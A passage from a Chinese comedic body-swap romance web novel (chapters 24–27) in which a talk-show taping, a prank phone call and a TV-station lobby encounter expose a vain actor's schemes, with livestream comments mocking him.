业务能力如此之差,工作人员反倒还要给谢燃赔笑脸,不仅要做小伏低哄巨婴,还要被剥夺署名替巨婴做嫁衣。 然而一年赚的钱,甚至可能还不如巨婴一天出场费的零头。 行业生态称得上一句畸形。 时间又过去了十分钟,谢燃终于磕磕巴巴说完了最后一个字,现场的人明显都松了一口气。 本期的主题是科技与艺术,现场一共邀请了四位嘉宾,除了乔缨和谢燃外,还有艺人方岩和知名导演温烟婷。 方岩走的是高学历海归路线,凭借着在素人综艺里立毒舌学霸的人设,成功跻身娱乐圈。 虽然没有任何作品可以拿得出手,但也不耽误他一边看不起明星,一边挤破头想当明星赚钱,忽悠了一批崇拜他海外高学历的粉丝,吹着吹着也吹出来个通透的名声。 毕竟这人长得实在是太有特色了,像猪像鱼像青蛙,总之就是不像人,粉丝闭眼吹也只能吹个通透。 方岩就这么在娱乐圈里毫无姓名地混了几年,然而今天谢燃这一番弱智操作,可算让他逮到了一个释放爹味的机会,见缝插针地就开始装逼。 “Well,你的看法很有意思,就是让我想起了刚去曼……manchester留学那年,第一次讲presentation时也是tense到mymindwentblank~哈哈哈!” 他自以为幽默风趣地笑了笑,不经意露出手腕上的劳力士,唾沫横飞,喋喋不休。 “Btw,我教你一个方法,在正式开始groupchat之前,可以先在脑子里把要讲的topic再gothrough一遍,有什么newidea随时update上去,then,你就会thinkingclearly了。” 啥意思,听不懂。 拽什么洋文。 谁问你了? 绝望的文盲谢燃张大嘴巴,脾气一点就炸,立马嚷嚷道:“那咋了?谁关心这些鸟事,whocare!” 一旁的温烟婷微笑:“加个s。” 谢燃看她一眼,顺从改口:“Whoscare!” 一直放空自己,不去参与这场闹剧的裴砚知呛了一下。 他在听到温烟婷说话后终于冷淡地掀起眼皮,朝对面看了过去。 声音好熟悉,像是那晚在乔缨房间里和沈颐厮混的女人。 注意到他的视线后,温烟婷弯起一双狐狸眼睛和他对视,目光毫不退缩,还隐隐含着些他看不懂的微妙情绪。 突然间,她话锋一转,把矛头对准裴砚知,冷不丁说道:“So,不知道乔缨老师有何高见?我literally很在意。” 裴砚知依旧面无表情,“不知道,没什么高见,这里是中国,放洋屁的滚出去。” 方岩听罢勾起一抹嘲讽的笑,认为他这是露怯心虚才不敢回答,心里那点优越感顿时卷土重来,立刻带起了节奏。 “无恶意,但是女人哪懂什么科技,乔缨老师怕是上学时数学考试都没及格过吧?我不是性别歧视啊,但在女人做头发做美甲聊八卦的时候,咱大老爷们儿都在关心芯片半导体这样的前沿科技领域,这才叫忧国忧民呐。” “哦?方先生好像很了解芯片行业,那我考考你。” 专业对口了,裴砚知显然对此很有兴趣,以为真碰上了个行家。 他挑起半边眉毛,语速极快地发问:“冯诺依曼计算架构是什么?存储墙瓶颈如何缓解?硅基芯片与有机半导体材料集成芯片孰优孰劣?现有技术下最小量级是多少纳米?国产芯片出口占多少市场份额?” 温烟婷没想到他是这种反应,惊讶片刻后,饶有兴味地补了一句:“不许百度哦。” “我……我……” 方岩梗着脖子想说些什么,但他的mind很显然再一次goesblank了。 裴砚知给了他两秒钟的反应时间,而后充满遗憾地摇摇头,语气真诚到像是在故意阴阳怪气一般:“这些都是很基础的常识,方先生这样的高材生难道不知道?” 他蹙起眉毛,颇为疑惑地问:“您真的留过学吗?在哪个学校?学的什么专业?STEM还是交叉学科?研究什么课题?有无科研成果?学位拿的几等?顺带一提,我985化工专业优毕生,拿过两次国奖,那您是……?” 现场的人都忍不住抖了抖,起了一身鸡皮疙瘩。 虽然脸还是乔缨那张脸,但她身上莫名有种让人害怕的压迫感。 连主持人都忘了说话,众人只感觉自己仿佛来到了压力面现场,主考官还是不苟言笑的公司大老板。 在裴砚知一步步紧逼的追问下,饶是一直看戏的温烟婷都开始心生怜悯。 她顶着裴砚知比冰碴子还冷的视线,犹犹豫豫劝道:“别逼他了,他看起来像是要哭出来了。” 全场只有头脑空空的谢燃还在状况外。 他说完“whoscare”后就开始走神,后续的所有交谈争论全都从他光滑的大脑皮层上滑走了。 恍恍惚惚中,他只捕捉到了一个关键词。 谢燃眼睛一瞪,立即拍案而起,怒不可遏地嘶吼:“科技?什么科技?谁骂我的脸太科 技了?我撕烂你的嘴信不信?都说了我是妈生脸!是妈生脸!” 温烟婷眼睛一闭。 妈妈,她今天神经病了。 见气氛不对,主持人赶紧回过神来打圆场,准备了一个破冰小游戏。 “请和手机通讯录里最新添加的联系人打电话,成功引导对方说出今天的主题「科技与艺术」后,就会获得节目组送出的精美礼品一份哦!” 主持人拿来一个盒子,里面装着带有四人名字的纸团,按照抽签的顺序进行游戏。 她手一抖,抽出一团白纸徐徐展开,在看到名字后脸色骤然一僵。 她小心翼翼看向裴砚知,笑容勉强:“那……那就乔缨老师先来吧?” 裴砚知不置可否地点点头。 他向来是个尊重游戏规则的人,况且诱导谈话内容这种事,对他来说比呼吸还简单。 但当裴砚知摸出手机正要解锁时,忽然察觉到最新添加的联系人好像是乔缨,心里顿时又生出来一股不详的预感。 而这种预感,在电话接通后听见对方微微的喘息声时达到了顶峰。 裴砚知皱眉:“你在干什么?” 乔缨拿着保温桶,靠在小巷的拐角处,不时朝外面张望,神神秘秘道:“嘘,我在执行秘密任务。” 两人的交流,在现场顶级的扩音设备下被听得一清二楚。 裴砚知头疼地揉揉眉心,决定先不管乔缨又在搞什么幺蛾子,单刀直入地问:“裴总,请问你所在的行业是?” “裴总”两个字还特意加了重音,以乔缨那八百个心眼子的警觉性,应该能听出来他是在参加节目吧? 应该会吧? 会吧? 然而,事实证明,是他想多了。 浑然不知的乔缨仍然沉浸在角色扮演里。 她压低声音,沧桑的语气里带着淡淡哀伤,仿佛看透一切厌倦战场还得了PTSD的退伍老兵,凛然答道:“雇佣兵。嘘,别说出去,家里人不知道我干这行。” 现场的人听得倒吸一口凉气。 真是雇佣兵啊? 乔缨这么有人脉? 别是什么兵王下山的剧情吧? “你正经点。” 裴砚知深吸一口气,耐着性子,循循善诱:“你,裴砚知,是哪个行业的?我,乔缨,又是哪个行业的?” 两人的名字被他说得咬牙切齿,仿佛在牙床上被碾过一般。 或许是听出来他严肃的语气,电话那头的乔缨安静了一瞬,敛起笑意,微微站直了身体。 “我知道了。” 乔缨的声音正经起来,“对不起,刚刚我只是在开玩笑。” 裴砚知欣慰地勾勾唇角,松了口气。 总算正常了,乔缨还算是靠谱。 然而下一秒,他便听到电话那头传来一道磁性优雅的嗓音: “我其实是伊托拉诺维拉魔族和龙的后裔,因为力量太过强大所以女巫们将魔法封印在了我的神之右眼里寻常人都看不见……” “哦顺带一提我还有一只用来清洁污秽的天使右手和一只用来毁灭宇宙的恶魔左手,我平时非常随和但如果你触碰我的逆鳞我就会让你知道什么是真正的黑暗。” “我受到人类召唤才来到地球,为了改变世界毁灭的结局而努力,哪怕最后粉身碎骨我也会勇敢地去战斗!” “再顺带一提我身边还有一只会魔法会说人话的小猫,她其实是来自异世界的公主名字叫———” 裴砚知沉默了。 在场的所有人都沉默了。 温烟婷又把眼睛一闭。 妈妈,她今天真的碰到神经病了。 还是两个! 第25章 第二十五章 “卧槽,恶俗啊” “喂, 你怎么不说话了?” 乔缨一边瞎扯,一边躲避着大楼外的摄像头。 这栋大楼是盛合地产名下的建筑。 原本打算作为总公司的地址,后来集团搭上房地产泡沫的便车后迅速扩张, 乔盛合将这里留给了乔俞诚,让他管理新成立的分公司。 只不过后来分公司效益不好, 裁来裁去只剩下不到八十个人。 原本一栋楼里都是盛合的员工,现在除了最下面的几层, 全都租了出去。 乔缨以前来过很多次, 大多数时候都是乔俞诚投资亏本了,让她过来当冤大头兜底,所以对这里非常熟悉。 这些年里她眼见着乔俞诚的公司规模越缩越小,楼层越搬越低,没想到他突然把蒋南宇挖了过来, 居然还支棱起来成立了新公司。 怎么看都像是临死之前的绝望挣扎。 沿着监控死角穿过小巷, 乔缨已然将身上的衣服换了下来,像是寻常路过的普通人一样融入了熙熙攘攘的人群里。 虽然大概率会有人帮她抹去监控记录, 但万事还是小心点好。 她找了一家附近的奶茶店坐下,含糊不清地对着手机那头说道:“好了, 大战结束, 我需要去买酒了。” “因为那场和巨兽的战斗,我体内黑暗之气的封印开始松动, 只有酒精才能压制住我内心的狂躁。” “很遗憾,街上的人们都在讨论是谁把地球上的恶魔赶跑了, 殊不知他们口中的神秘人正是一旁路都走不稳的酒痴……什么?哦一杯黑巧奥利奥牛乳无糖少冰加一份脆啵啵, 再来一个提拉米苏,谢谢~” “……我跟你说个事。” 在奶茶店热闹的背景音和播报声里,对面的人深吸了一口气。 “我在上节目。” “什么……节目?” 乔缨挖蛋糕的手突然顿住了, 微微颤抖起来。 她尝试着回忆了一下自己的行程,想想能对得上今天日期的通告,脊背瞬间僵直。 好像是个访谈节目? 好像收视率还很高? 好像节目组喜欢提前放原片彩蛋一刀不切? “不会是……银幕背后吧?”乔缨小心翼翼地问。 裴砚知:“嗯。” 简简单单一个字,听得乔缨倒吸几口凉气。 完犊子了,这下真完犊子了,丢脸丢到全中国了。 她吸了一口奶茶,定了定神,镇静道:“我说我刚刚被鬼上身了,你信吗?” — 与乔缨这边鸡飞狗跳的社死场面不同,沈颐的保姆车里气氛低沉。 助理小吴跪在地上面露难色,犹犹豫豫又小心翼翼地抬起头说:“颐哥,真塞不下了……你的袜子都快被增高鞋垫给撑破了。” 经理人李群低吼一句:“说话注意点!那怎么能叫增高鞋底呢?那是沈颐隐形的翅膀!” 沈颐心烦意乱地撑着脸颊,并没有精力去理会自家的助理和经纪人。 他为了平息舆论,明明已经按照李群的要求和乔缨炒作绯闻,却没想到凭空冒出来了一个裴砚知。 不仅把注意力全都分散,还反倒替昭星的新产品宣发添了一把火。 没办法,一计不成再生一计。 听说乔缨今天去电视台录节目了,正好和自己的行程重合。 他早已安排好了记者蹲守在门外,只等拍好两人的同框错位图便能发恋情实锤的通稿。 一想到这里,沈颐就觉得烦躁。 他真的很不愿意和乔缨扯上关系,却又只能靠她才能摆脱负面新闻,让他觉得自己像是被乔缨胁迫了一样,对她越发不满。 甚至连爷爷也知道了近期的闹剧,敲打他不要忘记两人的婚约。 每次明明都是乔缨自己非要贴上来,给他带来了那么多的麻烦,无论他说话再刻薄,乔缨都跟牛皮糖一样粘着甩都甩不掉。 都怪那该死的婚约,要不是合同上白纸黑字写了要两人订婚才会给他股份,他才不会给乔缨好脸色。 等这阵子过去,他一定要让乔缨彻底翻不起身! 沈颐的脸色越来越阴沉,不耐烦地挥开了吴宇塞鞋垫的手,狠戾道:“行了!别塞了!我再戴个假屁股垫就差不多了!” 说话间隙,保姆车已行驶到目的地。 高耸的大楼外,整整齐齐排了几辆商务车。 今天是热播古装偶像剧《四海游》收官的日子,剧组的主创们受邀来参加宣传活动。 到场的主要嘉宾除了导演和制片外,还有作为女一号的周瑾,以及作为男一号的沈颐。 周瑾踏进大门,举着直播的镜头,对着直播间的观众打招呼:“大家好啊,我们现在已经到电视台大厅了,我今天特意申请了直播的权限,先带宝宝们参观一下吧!” 话音未落,沈颐便绷紧下颌线,挺直了身子闯入镜头中,腰板端正。 直播间里的观众安静片刻,开始齐刷刷地发弹幕: 【怎么感觉有点油腻呀……】 【各单位请注意,癫公来了,癫公真的来了!】 【哈哈哈我死了三天都没他这么硬。】 【沈颐是来走秀的吗?】 在工作人员的指引下,两人很快就到达休息的区域,和其他几位主演碰了面。 似乎是没想到阮绵绵也在这里,沈颐的眼睛骤然一亮,歪了歪嘴,邪魅一笑:“你怎么也在这里?就这么想见我?” 阮绵绵用拳头捶了捶他胸口,娇羞捂脸,“说什么呢,大家都在,你正经点。” 而镜头外的周瑾瞪大眼睛。 这俩人是不是不知道她在直播? 哪怕不是在直播,公众场合能不能收敛点?非要当着大家的面打情骂俏吗? 她张嘴欲言,却见到沈颐忽然神情一凝,皱眉盯着阮绵绵的吊带裙,不满呵斥:“你这穿的什么?皮又痒了?” 阮绵绵眼眶一红,嘤嘤出声:“我以为颐哥哥喜欢这样的风格才穿的……对不起……” “好了,我是怕你冷。” 见她服软道歉,沈颐眉头松了下来,将自己的皮衣脱下来披到她身上。 他转过头,绷着脸抿着唇,一双眼睛冷厉扫了一圈在场的其他人,语气霸道地吼了一句:“不该看的,别看,管好自己的眼睛!” 阮绵绵披着烟草味和皮革味混杂的外套,陶醉嗅了嗅,害羞地说:“沈颐哥哥,你身上的味道真好闻。” 沈颐轻佻地刮刮她的鼻尖,笑道:“小东西,被我的男人味迷住了吗?” 直播间观众和现场的工作人员:? 救命,谁来给他们一双没有用过的眼睛。 周瑾厌恶地捏起鼻子,说出了在场所有人的心声:“卧槽,恶俗啊。” 直到这时,沈颐才发现周瑾也在这里,脸色一沉,阮绵绵也害怕地往他身后缩了缩。 周瑾翻了个大大的白眼。 阮绵绵作为女N号,不仅加戏加到编剧想上吊,导致收视率一路下滑,还抢了很多属于女主角的高光戏份。 两人的关系自然好不到哪里去,连微博上的互动都火药味十足,前几天阮绵绵被骂上热搜,周瑾还趁机倒油内涵了几句。 也正因如此,沈颐一直觉得周瑾想要加害阮绵绵。 只见他的眉头皱成了“川”字,反握住阮绵绵的手,薄唇抿成一条直线,恶狠狠地瞪着周瑾。 “绵绵,别怕。真要硬碰硬,扒掉她一层皮,不是问题。” 周瑾也是个脾气暴躁的人,哪能忍得了这种挑衅,顿时啐他一口:“还扒皮,你扒苞米都费劲,吃点镇静剂吧你!” 沈颐鼻子都气歪了,刚上前跨了两步,大厅的电梯里忽然风风火火走出来一道高挑的人影。 阮绵绵猝不及防拉了沈颐衣角一把,他脚底一个出溜滑,顿时摔了个大屁股墩。 当然,鞋里塞着的增高垫也以抛物线的形式飞了出来。 刚刚走 进大厅的温烟婷:……? 怎么回事,有人在这里拍母婴节目吗? 连尿不湿都给摔出来了。 跟在她身后的谢燃也看到了这一幕,以为是哪个生活不能自理的老人搁大厅里摔了一跤。 他疑惑地打量了一圈。 身为爱豆的职业素养,让谢燃敏锐地发现了周瑾手里的摄像头。 想到这是个立人设的绝好时机,他立马伸出双手,想要扶起趴在地面的那个男人。 谢燃堆砌起假惺惺的关切笑容,温柔道:“老人家,您没事吧?” 而另一头,卧倒在地的沈颐恍惚间看到了前女友温烟婷的身影。 想起之前的不欢而散和此刻的狼狈,沈颐顿时觉得很丢脸。 现在要是不做点什么,以后在温烟婷面前,他怕是连头都抬不起来。 动啊,这颗绝顶聪明的大脑快动一动啊! 想一想该怎么挽回尊严啊,沈颐! 电光火石之间,只见他做出一个恍然大悟的表情,两眼一瞪,就着摔倒的姿势,反手在地板上做起了俯卧撑。 两秒后,他气喘吁吁地抬起头,用那只刚刚撑完地的脏手抹了抹下巴,对着空气中某个不存在的镜头wink了一下。 另一边的谢燃眼见着自己把手伸在空中,却半晌得不到回应后——— 一个突兀的拐弯,改变了右手本来的行动轨迹,假装无事发生地摸了摸后脑勺。 沈颐自顾自地撑了几下,拍拍身上的灰,仿佛才发现谢燃一般,云淡风轻地站起身。 他清了清嗓子,淡定道:“你来了。” 这人谁啊? 不管了,装逼更重要。 谢燃虽然一头雾水,也收回挠头的手,与他回握,镇定从容道:“嗯,来了。” …… 沉默,是今天的电视台大厅。 而弹幕也看乐了。 【谢谢你,我原本是扁平足的,现在足弓已经两米高了。】 【豆角多少钱一斤?】 【阮绵绵发什么神经,把人推倒了也不去扶一下。】 【谢燃好帅啊啊啊啊!感谢他治好了我多年的斜眼,因为我眼睛都看直了!】 呆站在一旁的阮绵绵反应了过来,连忙上前检查沈颐是否受伤,视线却一直黏在温烟婷身上。 她嗫嚅道:“抱、抱歉啊……” 也不知道这个歉是在给谁道。 不知道的还以为阮绵绵才是那个斜眼呢。 见她怯懦中带着敌意的模样,温烟婷微妙地挑挑眉,嘴角含笑,眼神讽刺。 正在此时,裴砚知双手插兜,最后一个从电梯里走了出来。 看着东倒西歪、围成一圈大眼瞪小眼的众人,他脚步顿了顿,不解道:“这是在干什么?” 裴砚知用乔缨那双四百多度的眼睛,看着散落一地、神似纸尿裤的鞋垫子,不由得一震。 怎么回事,拜登访华来了? 第26章 第二十六章 这男人只把你备胎 经过一番友好交流,沈颐和谢燃俨然成了一对相见恨晚的知心好友,社交流程已经进行到交换彼此写真集的阶段了。 沈颐拿起签字笔在封面上写写画画,余光瞥到裴砚知从电梯里走了出来,忽然想起来今天到电视台的终极任务。 见他目不转睛盯着鞋垫的样子,沈颐暗暗嗤笑一声。 就说乔缨是在欲擒故纵吧,眼神里对他摔倒后的担忧与关心溢于言表,也就是碍于现场人多,她才没立即跑上来嘘寒问暖。 没办法,他的魅力太大了。 现场这几个女人和他或多或少都有些牵扯,这让沈颐生出一种皇帝选妃的错觉。 周瑾小心眼爱骂人,乔缨素质低脾气差,温烟婷…… 温烟婷动动手指就能碾死自己,和她在一起,虽然能捞到不少好处,但只能放低姿态迎合,没有任何尊严。 总而言之,都不好拿捏,只有温顺善良的阮绵绵还算听话,也爱他最深。 很可惜,她只适合娶回家当贤妻良母,真要谈恋爱找女朋友,阮绵绵这种寡淡的女人可不是他喜欢的类型,也给不了他任何助力。 等他玩够了,或许会回头看她一眼吧。 沈颐也完全不担心阮绵绵会移情别恋,因为只要时不时给她点甜头尝尝,保准能吊她一辈子。 他知道这样的想法不道德,但那又怎样?谁让阮绵绵爱他爱到骨子里,而他只需要像天神一般赐予她一点点爱意,就能得到一个永不背叛的追随者。 多划算的一桩买卖。 做男人不就是要这样吗? 沈颐对他臆想中女人们的觊觎和一厢情愿嗤之以鼻,朝躲在暗处的狗仔使了个眼色,阴恻恻笑了一下。 顺着视线,能看到几个娱记都扛着微型相机摩拳擦掌地苟在大厅外的草丛里,阴暗扭曲地爬行着。 沈颐一瘸一拐快步走到裴砚知身前,脸上挂起假笑,连眼角都笑出来几道小褶子。 他一边下蹲,一边神色温柔地说:“乔缨,你鞋带开了我替你系系。” 然后快速朝向身后打了个手势。 之所以这样做,是因为在沈颐的价值观里,男儿膝下有黄金,跪天跪地跪父母,一个大男人,此生绝不可能向女人卑躬屈膝。 因此在他看来,如果自己愿意低下高贵的头颅给乔缨系鞋带,一定会把她和网友们感动到痛哭流涕,连夜登上感动全国十大好男人榜。 只要狗仔们抓拍到自己跪下给乔缨系鞋带的画面,下一秒就能联动公司旗下的营销号,在各大平台发出早就准备好的通稿。 不仅坐实两人的绯闻,还能给乔缨扣几个跋扈、作精、耍大牌的帽子,为自己搏个深情好男人的名声。 自己这颗价值百万的大脑,来娱乐圈当明星属实有点屈才。 沈颐嘴角挂起无奈的笑,颇为自恋地摇摇头。 膝盖上地板的触感冰凉坚硬。 他把手伸向眼前那双近在咫尺的脚,却在触碰到的那一刹那,猛然间顿住了。 不对劲。 眼前这双鞋……怎么看,都是一双健力足老人鞋。 不是吧,乔缨这么潮的吗?直接少走了二十年的弯路? 沈颐愕然,猛地一抬头。 头顶上方,一个陌生的盘头大姨,惊悚地和他对上了视线。 黄富贵面露不悦地从他面前把脚抽走,表情嫌弃地说:“现在这些年轻人,怎么一个个疯疯癫癫的,这还没到过年的时候呢,磕什么头啊!” 不是,大妈你谁啊?乔缨呢? 沈颐转头,看到周瑾和裴砚知坐在沙发上,正一脸戏谑地看着他。 只有谢燃依旧对摄像头的存在拉满了敏感度,他拿起一本杂志,凹着姿势,用他的黄金左脸对准狗仔镜头的方向。 有人好心提醒道:“你拿反了。” 谢燃盯着封面上的书法字迹,挠头疑惑地问:“啊?是吗?这上面写的不是「我是弱智」吗?” 裴砚知像看傻子一样看着他,淡淡道:“有没有可能,那是「智巧皆存」?” 什么文盲。 不对,我管他是不是文盲,现在要紧的是抓紧机会和乔缨炒绯闻! 沈颐再次皱起眉头,紧抿着唇,踩着高跷,试图从地上站起。 因为刚刚那一跤,他失去了一半的脚垫,左右脚之间产生了巨大的高度差,让动作变得艰难起来。 意料之中的,在沈颐起身站立的一瞬间,他的右脚猝不及防往外撇了一下,身体立即失去平衡,脸离地板越来越近。 眼见着又要栽倒,沈颐情急之下,眼一闭心一横,再一次抓住了面前盘头大姨的小腿。 黄富贵惊慌失措:“哎呀,你你你,你这是干嘛!成何体统!” 这次不用她亲自抽出小腿了,一个大学生模样的年轻男人不知从哪里冒了出来,一把甩开沈颐的手,然后立即拿出湿巾替黄富贵擦了擦裤子,安抚了她几句。 随后,他上前几步挡在了沈颐面前,神色忿忿不平,语气阴冷狠戾:“哥们儿,当着我的面抢金主,这不地道吧?” 沈颐迷茫:“什么?” 抢什么?什么金主?抢什么金主? 他愣了一下,在意识到这句话的含义后,逐渐震惊的眼神不断在颇有姿色的年轻男人和黄富贵身上来回扫视。 片刻后,他又很快接受了这个事实。 没什么好惊讶的,娱乐圈玩得比这还花。 黄富贵冷冷斜他一眼。 为了金钱想委身于她的男人多了去了,也没几个像沈颐这般不知羞耻,大庭广众之下来投怀送抱。 这人看起来也是个明星,说不定一路都是靠卖屁股上位。 脏得很,她可看不上。 黄富贵抬起下巴,语气鄙夷:“年轻人,少动点歪心思,你没那个本钱。” 一语毕,眼见着亲亲老公被骂,阮绵绵哪里还坐得住。 她突然一个爆冲奔到沈颐身前,将他扶了起来,转头倔强地对着黄富贵怒斥:“您说话太瞧不起人了!三十年河东,三十年河西,莫欺少年穷!” “啧啧。” 在商场摸爬滚打了几十年,眼光毒辣的黄富贵上下打量她几遍,一针见血地点评:“长点心吧姑娘,这男人只把你备胎,他就等玩够了把你娶回家当保姆呢。” 阮绵绵握紧拳头,目眦欲裂道:“你胡说!沈颐哥哥不才是那样的人!” 她低头看向沈颐,满目深情:“对吧,沈颐哥哥?你不是这样想的吧?” 沈颐心虚地别开了头。 两人不知道的是,他们这一系列的小动作,都被直播镜头捕捉到了。 沈颐呆滞中带着被戳穿后恼羞成怒的表情,在周瑾特意购买的外置高清镜头下无处遁形,颇为滑稽。 事情发展太过戏剧性,连观众都看得瞠目结舌。 【哈哈哈哈沈颐刚刚是想给乔缨系鞋带吧?卖cp失败名场面+1。】 【富婆好像瞧不上他,这能说吗?】 【瞎说什么!这种又老又丑的女人,沈颐看不上她才对吧!】 【别吵了,有没有数学家能算一算沈颐的鞋垫子有多高?】 【@鞋东老师,来活了。】 【他真的,我哭死,每天踩着高跷给我们演戏,怎么不算是一种敬业呢?】 【这场直播的每一帧画面都值得载入史册。】 【阮绵绵真的好爱沈颐,嗑到了。】 【吃点好的。】 零星有几条夸赞沈颐的水军弹幕也瞬间被淹没在吐槽里。 并非粉丝不给力,只是经过这段时间频繁的骚操作,沈颐不负众望地脱了一大批粉,人气大不如从前。 黄富贵没再说废话,指挥着员工往里一批一批搬运货物,自己则转身上了电梯。 大厅里开始变得忙碌起来。 温烟婷随手拦下一个人,问他们在干什么。 那人染着一头红毛,一脸不耐烦地转过头,看到是温烟婷后愣了愣,忽然换上了一个讨好的笑容,谄媚答道:“台里新建了一个健康管理中心,正在往里装器材呢。” 温烟婷了然地抬抬下巴。 她的背景很深,父亲是享誉国际的知名大导,母亲则是戏剧学院的校长,不仅在娱乐圈能横着走,连商界政界很都有人脉。 在遍地都是人精的媒体行业,温烟婷的大名自然是无人不知无人不晓, 大家都期望能搭上这个巨型香饽饽的人脉,说不定哪天得到她的青睐后,就能一飞冲天,平步青云。 她本人则是继承了父母的艺术天赋,从小便对艺术领域有着浓厚兴趣。 为了给她铺路,温烟婷的父母从多年前她去南加大学电影时就开始造势,一路在鲜花和掌声里捧着她长大。 难得的是,这样的强捧下,温烟婷也的确做出了成绩,回国后一连执导的三部影片,口碑和票房都很亮眼,逐渐在电影领域崭露头角。 沈颐的影帝,便是在搭上温烟婷后才捞到的。 而和沈颐谈恋爱,则是温烟婷这辈子最后悔的事。 她戏谑地看着地上那对亡命鸳鸯,眉梢微挑。 见她不做声,红毛开始没话找话,讨好地问:“烟婷姐,现在应该装得差不多了,你们要 不要进去参观参观?” 听到这个邀请,最激动的是周瑾。 《四海游》的活动还有半小时才开始,她举着摄像头,忙问道:“真的可以吗?” 红毛看着她,估量了一下周瑾的咖位,点头笑道:“当然可以,还要麻烦各位老师帮我们宣传宣传。” 不远处的阮绵绵将几人的谈话都听了过去。 健康管理中心? 那里面应该会有体重秤之类的吧? 她偷偷瞟了一眼温烟婷和裴砚知。 这两个人都是大骨架美女,身高都在一米七以上,尤其是她最为忌惮的前女友温烟婷,因为常年保持健身,有着一身的腱子肉。 虽然看起来很有气势,但她们,一定比她重。 想到这里,阮绵绵的眼神坚定起来,大喊道:“我也要去!” 然后拖着沈颐半残的身躯跟了上去。 温烟婷已经习惯了被她当成假想敌,耸耸肩和裴砚知对视一眼,都从对方的眼里看出了莫名其妙。 周瑾和两人并排走着,内心八卦的欲望蠢蠢欲动。 毕竟一个是沈颐的正牌女友,一个是沈颐的万年舔狗,这两个人今天居然碰到了一起,想想就觉得刺激。 她们是知道自己在直播的,什么该说,什么不该说,都是娱乐圈的老油条,心里应该都有数。 周瑾清咳一声,决定先从有点交情的温烟婷入手,开门见山地问道:“烟婷姐,你真和那谁分手了吗?” 温烟婷向来不爱遮遮掩掩,坦然回道:“对啊,谈了几天发现他有未婚妻,我想了想还是忍了下去,结果这条贱狗居然敢蹬鼻子上脸对我呲牙。这种不听话的狗,留着也无趣。” 周瑾吃惊:“未婚妻?难道他未婚妻曾经逼迫过你们分手吗?” 裴砚知嗤笑:“怎么可能,这种脏东西送给乔……送给他未婚妻都不要。” 温烟婷意外挑眉,顺着他的话接道:“当然是我自己要分手啊,那能怎么办,未婚妻也是受害者,我总不能给公交车上锁吧?” 她侧头看向阮绵绵,话里带刺:“不像有些人,正牌女友还没发话呢,她倒是先叫上小三了,你说对吧阮绵绵?” 被叫到名字的阮绵绵脸色一僵,赶紧拉着沈颐和众人隔开距离。 爹的,好精彩。 从两人几乎明示的叙述里,周瑾似乎知道了什么不得了的大事。 她像只瓜田里的猹一样,两眼放光,兴奋道:“那……这个未婚妻喜欢那谁吗?” “我以前觉得未婚妻是个恋爱脑,”温烟婷点头,眼神玩味地看向裴砚知,“抱着这么一坨屎不撒手,脑子有毛病。” 裴砚知冷笑:“抢别人家的屎吃,还要转头跟主人说你这屎味道不好,你脑子更有毛病。” 温烟婷爽朗大笑:“哈哈哈,我真喜欢你!” 裴砚知眉头一皱:“我不搞这个。” 周瑾听懂了,眨巴着眼问裴砚知:“看起来未婚妻似乎不喜欢那谁?那为什么之前表现得特别卑微呢?” “嗯,未婚妻感觉不对劲,去医院查了下才发现,除了自己,竟然还有3个人格同时占用了她的身体。” 裴砚知面无表情:“开个玩笑,未婚妻只是迫不得已演戏而已,经过她的不懈努力,现在已经脱离苦海了。” “恭喜未婚妻,要知道那谁和我在一起时,吃穿住行全都花的我的钱。原本他生日想带他出国玩,结果办签证一查流水,爹的上面全是0!” 温烟婷皮笑肉不笑,情绪肉眼可见地激动起来,连耳廓都被气得染上一层薄红。 “那谁不仅指使我的助理们帮他洗袜子洗裤衩,每天还只穿个四角短裤在屋子里晃来晃去,连超市的洗面奶都偷,还是我替他赔的钱!” “这种男人,玩玩也就罢了,真的嫁不得。” 她吸了口气,平复了一下心情,精辟总结道:“多情浪子永远在回头,仔细一看卧槽尼爹跳的是探戈!” 话说到这里,再迟钝的人也能理解这场指桑骂槐的主人公是谁了。 弹幕纷纷震惊: 【原来真的有人连傍金主都傍不明白?!】 【我去,原来乔缨是沈颐的未婚妻?难怪她那么舔,我还以为她自带系统搁这儿做攻略任务呢。】 【阮绵绵怎么有脸网爆乔缨叫别人小三啊,她有什么立场?】 【大绵的回旋镖终于扎到了她自己身上。】 【沈颐这种男的都是什么人在喜欢啊?异食癖吗?】 【姐几个去脱口秀吧,看起来就前任很多的样子,能不能开个专场一个个骂?】 第27章 第二十七章 “卧槽你快删了吧!”…… 几人正说着, 那边自顾自量身高体重的阮绵绵不知为何忽然惊呼一声:“天呢,160,73, 我好胖呀!” 说罢,她好像还不尽兴似的, 偏过头紧盯着沈颐,捋捋头发, 刻意道:“和烟婷姐她们比起来……我真的太胖太丑太矮了, 对吧?” 沈颐忙着塞鞋垫,根本分不出心思来听她说话,只是敷衍地应和了两声。 阮绵绵的嘴角一撇,整张脸瞬间垮了下来。 房间空旷,阮绵绵的声音在室内回荡。 在场的工作人员面面相觑了两秒, 然后默契十足地低下头, 仿佛地上有谁掉了钱似的,视线黏在脚下, 一动不动。 开玩笑,他们可不想参与明星扯头花的戏码。 场面有些尴尬, 一时间无人应答。 向来讨厌阮绵绵的周瑾一哂, 决定当第一个嘲讽的人。 她停下话头,隔着大半个屋子, 故意扯着嗓子朝对面喊话道:“没关系的姐妹,160斤73厘米, 问题是有点棘手, 咱们慢慢来,不要放弃治疗,加油哦~” 温烟婷忍不住勾勾嘴角, 两手作岁月静好拈花状,人淡如菊地笑笑:“是啊,阮小姐也别自卑,比较是偷走幸福的小偷,你一定也能找到适合自己的赛道。” 看到两人揶揄的神色,阮绵绵便涨红了脸,额上的青筋条条绽出,争辩道:“不是……我身高160,体重73,我怎么就自卑了?” 接连便是难懂的话,什么“不要身材焦虑”,什么“雌竞”之类的话。 有几个低头的人憋不住笑出了声,引得众人都低声哄笑起来,房间内外充满了快活的空气。 阮绵绵臊得慌,急得眼泪都快出来了,红着眼眶泫然欲泣道:“对不起烟婷姐,我性格就这样,大大咧咧的,你不要在意。” “你们别笑了。” 温烟婷佯装皱眉呵斥,然后朝阮绵绵温和一笑,语气宽容:“没关系,我懂得幸福者退让的道理,你的话,我没有放在心上。” 她在心里呵呵两声。 装什么犊子呢,金发啦啦队队长她见得多了,美式霸凌当她不会用吗? 一直沉默不语的裴砚知对几人之间的纠葛不感兴趣,低头开始研究起这些器械的功能设计。 除了常规的功能外,还搭配了人工智能系统,可以将健康中心所有用户的体能信息实时同步到每一台器械上,并通过身体数据模拟出最适合的运动强度。 虽然不知道算法的准确性如何,但整体来看挺有意思,UI逻辑也很简洁明了,不仅避免掉了大部分繁琐的操作,甚至还有用户激励体系。 